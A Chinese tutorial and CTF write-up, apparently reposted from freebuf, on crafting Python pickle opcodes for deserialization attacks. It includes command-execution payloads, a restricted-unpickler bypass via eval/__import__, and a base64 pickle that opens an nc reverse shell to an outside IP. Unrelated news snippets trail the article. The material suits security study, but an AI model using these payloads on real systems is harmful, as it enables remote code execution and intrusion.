范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文
国学影视

Python反序列化中的Opcode构造原理

  基础知识pickle是python下的用于序列化和反序列化的包。
  与json相比,pickle以二进制储存。json可以跨语言,pickle只适用于python。pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型而且不能表示自定义的类型。
  pickle实际上可以看作一种  独立的语言  ,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
  可以被序列化的对象:pickle --- Python 对象序列化 — Python 3.10.2 文档
  在重写__reduce__方法的时候,返回的一定是一个元组(callable, ([para1,para2...])[,...])
  pickle解析的过程:How pickle works in Python | Artem Golubin (rushter.com) 漏洞利用方法任意代码执行 变量覆盖(覆盖凭证绕过身份验证) easyDemoimport pickle  class People(object):     def __init__(self, name):         self.name = name     def sayHello(self):         print("Hello ", self.name)  a = People("RoboTerh") result = pickle.dumps(a) print(result) """ ccopy_reg _reconstructor p0 (c__main__ People p1 c__builtin__ object p2 Ntp3 Rp4 (dp5 S"name" p6 S"RoboTerh" p7 sb. """
  反序列化代码实例 import pickle  class People(object):     def __init__(self, name):         self.name = name     def sayHello(self):         print("Hello ", self.name)  a = People("RoboTerh") result = pickle.dumps(a) unser = pickle.loads(result) unser.sayHello() """ ("Hello ", "RoboTerh") """
  但是如果去掉了People类之后在进行反序列化就会报错 import pickle  class People(object):     def __init__(self, name):         self.name = name     def sayHello(self):         print("Hello ", self.name)  a = People("RoboTerh") result = pickle.dumps(a) del People unser = pickle.loads(result) unser.sayHello() """ AttributeError: "module" object has no attribute "People" """ commandExecuteDemoimport pickle import os  class demo(object):     def __reduce__(self):         cmd = """dir"""         return (os.system, (cmd, )) #必须要返回一个元组 obj = demo() result = pickle.dumps(obj) #利用 pickle.loads(result) variableCoverageDemoimport pickle  key1 = b"123" key2 = b"456" class exp(object):     def __reduce__(self):         return (exec, ("key1=b"1" key2=b"2"", ))  obj = exp() print(key1, key2) result = pickle.dumps(obj) pickle.loads(result) print(key1, key2) """ b"123" b"456" b"1"   b"2" """ 构造opcode常见的opcode
  其中TRUE可以用I表示:b"I01 ";FALSE可以用I表示:b"I00 ",其他的opcode可以在源代码中查看 全局变量覆盖。# main.py import pickle import secret  opcode = """c__main__ secret (S"name" S"1" db.""" print("before name:", secret.name) result = pickle.loads(opcode.encode()) print("result:", result) print("after:", secret.name)  # secret.py name = "aaabbbccc"  # 结果 ("before name:", "aaabbbccc") ("result:", ) ("after:", "1")
  首先,通过c获取全局变量secret,然后建立一个字典,并使用b对secret进行属性设置, 函数执行
  与函数执行相关:Rio R b"""cos system (S"whoami" tR."""  # t 为组合为元组 R 要求必须要是元组 i b"""(S"whoami" ios system ."""  # i 获取全局函数之后寻找栈上一个MARK为元组,以该元组为参数执行函数 o b"""(cos system S"whoami" o."""  # o 寻找上一个MARK作为callable,后面的为参数 实例化对象R import pickle  class Person(object):     def __init__(self, name, age):         self.name = name         self.age = age  data = b"""c__main__ Person (S"RoboTerh" S"20" tR."""  obj = pickle.loads(data) print(obj.name, obj.age)  # RoboTerh 20 i import pickle  class Person(object):     def __init__(self, name, age):         self.name = name         self.age = age  data = b"""(S"RoboTerh" S"20" i__main__ Person ."""  obj = pickle.loads(data) print(obj.name, obj.age)  # RoboTerh 20 o import pickle  class Person(object):     def __init__(self, name, age):         self.name = name         self.age = age  data = b"""(c__main__ Person S"RoboTerh" S"20" o."""  obj = pickle.loads(data) print(obj.name, obj.age)  # RoboTerh 20 pker的使用
  下载地址 实践
  pickle.Unpickler.find_class()的了解:
  官方针对pickle的安全问题的建议是修改find_class(),引入白名单的方式来解决
  调用find_class()的情况: 从opcode角度看,当出现c、i、b" "时,会调用,所以只要在这三个opcode直接引入模块时没有违反规则即可。 从python代码来看,find_class()只会在解析opcode时调用一次,所以只要绕过opcode执行过程,find_class()就不会再调用,也就是说find_class()只需要过一次,通过之后再产生的函数在黑名单中也不会拦截,所以可以通过__import__绕过一些黑名单。
  官方的例子: import builtins import io import pickle  safe_builtins = {     "range",     "complex",     "set",     "frozenset",     "slice", }  class RestrictedUnpickler(pickle.Unpickler):      def find_class(self, module, name):         # Only allow safe classes from builtins.         if module == "builtins" and name in safe_builtins:             return getattr(builtins, name)         # Forbid everything else.         raise pickle.UnpicklingError("global "%s.%s" is forbidden" %                                      (module, name))  def restricted_loads(s):     """Helper function analogous to pickle.loads()."""     return RestrictedUnpickler(io.BytesIO(s)).load()
  使用白名单限制了能够调用的模块:{"range","complex","set","frozenset","slice",}
  在高校战役网络安全分享赛中的webtmp class RestrictedUnpickler(pickle.Unpickler):     def find_class(self, module, name):         if module == "__main__": # 只允许__main__模块             return getattr(sys.modules["__main__"], name)         raise pickle.UnpicklingError("global "%s.%s" is forbidden" % (module, name))
  看似只限制使用__main__模块,但是被引入主程序的模块都可以通过__main__调用修改,所以造成了变量覆盖 Code Breaking picklecodecbuiltins getattr p0 (cbuiltins dict S"get" tRp1 cbuiltins globals )Rp2 00g1 (g2 S"builtins" tRp3 0g0 (g3 S"eval" tR(S"__import__("os").system("whoami")" tR. [watevrCTF-2019]Pickle Store
  [复现](https://github.com/wat3vr/watevrCTF-2019/tree/master/challenges/web/pickle store)
  抓包带有一个session,尝试base64解码,联系题目名称pickle。想到通过base64存储反序列化之后的字符串
  利用__reduce__构造恶意pickle反序列化字符串 import pickle import os import base64   class Test(object):     def __reduce__(self):         return(eval, ("__import__("os").system("nc -e /bin/bash 120.24.207.121 8000")", )) test = Test() print(base64.b64encode(pickle.dumps(test)))
  from https://www.freebuf.com/vuls/362664.html

远古发现丨新发现化石证据2。5亿年前这种植物爱睡觉我国古生物学家从距今2。5亿年的化石中发现了植物爱睡觉的秘密。成果于北京时间2月16日在线发表在国际知名期刊当代生物学上。在自然界,有些植物拥有一种类似睡觉的现象,它们的叶片在白天华擎推出W790WS主板支持至强W24003400IT之家2月16日消息,华擎今日推出一款W790WS主板,支持英特尔刚刚发布的至强W24003400工作站处理器。据介绍,W790WS高度优化支持W2400系列处理器,并兼容支持W软件测试Pytest的必会技巧(一)pytestsetup和teardown我们在使用selenium执行web自动化测试的时候,当我们需要执行多条测试用例时,执行一条用例就启动一次浏览器显然效率就太低了,我们需要一人民币1月份暴增7。38万亿!超发货币拉基建,不如给老百姓发钱人民币创纪录放水!仅仅1月份新增M2余额7。38万亿!!!不明白?想想2008年的8万亿救市,以及之后的一系列变化,你就懂了!1月份广义货币猛增其实政府的出发点是好的。三年疫情加上争夺订单!晶圆厂开始考虑降价了过去晶圆厂产能一直处于比较紧张的状态,今年产能紧缺状况将得到一定缓解。目前,公司主要关注点在自身芯片及解决方案的性能实现,以及需求侧的订单释放上,产能已不是主要瓶颈。创耀科技接受机内衣巨头股价飙升62!都市丽人魅力何在?近期,在港股上市的中国内衣巨头都市丽人(02298。HK)连日上扬,走势颇为犀利。截至2月15日,都市丽人再度上涨8。33,自2月份以来,短短11个交易日内股价便狂飙62,大幅跑赢践行长期主义,中粮名庄荟构建全球美酒版图过去三年,酒水行业由于深度依赖消费场景,受到很大冲击。复杂多变的国际形势,也使得以进口业务为主的贸易型公司压力陡增。面对重重困境,中粮名庄荟爬坡过坎,凭借强大的抗风险能力和战略定力春到北湖万物新来源郴州日报郴州新闻网2月13日,北湖区召开春到北湖引流宣传座谈会,邀请中央驻湘省直媒体市直主要媒体负责人及文旅领域行业代表主要商业网站平台负责人等齐聚,共为北湖文旅宣传推广出谋划又见千佛山两个多月没到千佛山了。今天看到阳光灿烂,天空湛蓝,气温回升到零度以上。躲过上学上班的高峰期,我们出门去爬千佛山。像往常一样,我们坐137路公交车,直达千佛山南门。南门口花坛造型是我房车自驾游51翡翠湖的水越往前越蓝跟渐变色一样变幻莫测作者可心小学四年级学生你见过像翡翠一样的湖吗?你见过有三种颜色的湖吗?今天我们都看见了,那就是变化莫测的翡翠湖!每次湖北青海湖茶卡盐湖一样,也是个盛产盐的地方,走进景区,我们还是一正阳路不只有吕家庄夜市,还有国学公园等,倾情介绍现在的正阳路城市观察员青岛头条正阳路是随着城阳发展而发展起来的一条路,是城阳近二三十年辉煌发展史的一个集中体现。关于正阳路,有着太多的名头,如第二条香港中路青岛北部第一路金融街等等。现在的正阳
没有城市愿举办?足协已陷尴尬境地!陈戌源颜面尽失无力维持?时间已经来到了四月中旬,中超开赛日期迟迟没有敲定,但坏消息却接踵而来。开赛日期迟迟定不下来,原因就在于举办地至今难产,足协现在满世界找地方,但没城市愿意给自己找个麻烦。据央视记者刘谷爱凌的自信人生谷爱凌在我们普通人看来近乎一个完美的人。她不仅是一位学霸美女,就读于斯坦福大学,除了滑雪以外,谷爱凌自小就有着诸多爱好,例如足球篮球射箭骑马钢琴以及跑步马拉松和越野跑。尤其是在跑步孩子考了100分,奖励孩子你用对方法了么?亲子教育奖励,有两种,一种是物质上的,一种是精神上的。不管是哪一种,家长都应该留意到奖励的限制和方法。适当的奖赏,会让孩子朝着好的方面发展。如果奖励成为了一个孩子的目标,那么,他的仇结大了,3。5亿搞定姆巴佩后,皇马又盯上了大巴黎飞翼皇马和大巴黎近两个赛季,围绕姆巴佩的转会,不断撕逼,甚至惊动了前后两任法国总统,卡塔尔埃米尔以及一众法国足球名宿。根据意大利权威媒体人迪马济奥给出最新消息,皇马和姆巴佩已经达成口头美白产品不管用?可能是不了解导致皮肤变黑的原因每每说到美白护肤,大家先想到的是了解美白护肤成分学习怎样做才能变白。不过相比于这些,其实还有一步是最基础也是最为重要的,就是要知道我们的皮肤是怎么变黑的。说到底美白的重点不是漂白肤2550精致女人护肤步骤!用对事半功倍!年轻10岁护肤对现在大多数女人来说是特别重要的但你知道怎么护肤吗?精致女生护肤是这样的1洁面2泥膜3面膜4水乳5精华6面霜7眼霜8唇膏如果怕麻烦可以这样护肤1洁面2面膜3精华其中护肤品种蕞重收起你的小白鞋吧,看,今年流行的奶奶鞋,4050岁穿真优雅抗老好物推荐品牌好物Dior曾说好的鞋品决胜千里。一双气质不凡的鞋子可以提升穿搭的精致度,也能让一个人的气质变得出众。今年夏天,不要再穿烂大街的小白鞋了,试试超火的奶奶鞋,舒适随性IWC万国表于迪拜购物中心开设全新旗舰店腕表之家品牌新闻IWC万国表宣布位于阿联酋最大购物圣地,迪拜购物中心的全新旗舰店盛大开幕。该店面采用创新零售概念,是全球第一家完全以BigPilot大型飞行员为主题的IWC万国表精孕期最伤害宝宝的几种行为1。长时间久坐。孕妇长时间坐着有可能会影响血液循环,压迫子宫,使子宫血液循环不畅,造成胎儿不舒服,容易缺氧,胎动频繁。2。大笑不止孕妈笑得过于激烈也很容易导致孕妇自身缺氧,长时间的站在孩子的角度去思考并解决问题,孩子更易接受一天,妈妈上班的时候突然接到了学校老师的电话,说是小章和同学打架了,需要妈妈去一趟。妈妈请了假急忙赶到学校,看见7岁的小章楚楚可怜地站在那里,班主任老师正在教训他。妈妈表示了歉意我既然好好说不管用,那就动手吧下午孩子写作业不认真,一会儿去卫生间,一会儿看平板,我好言好语的说了几次,他都嬉皮笑脸的敷衍我。我表明生气的态度之后,他写了十分钟作业,然后又开始玩起来了。我是想到了杨绛先生的文章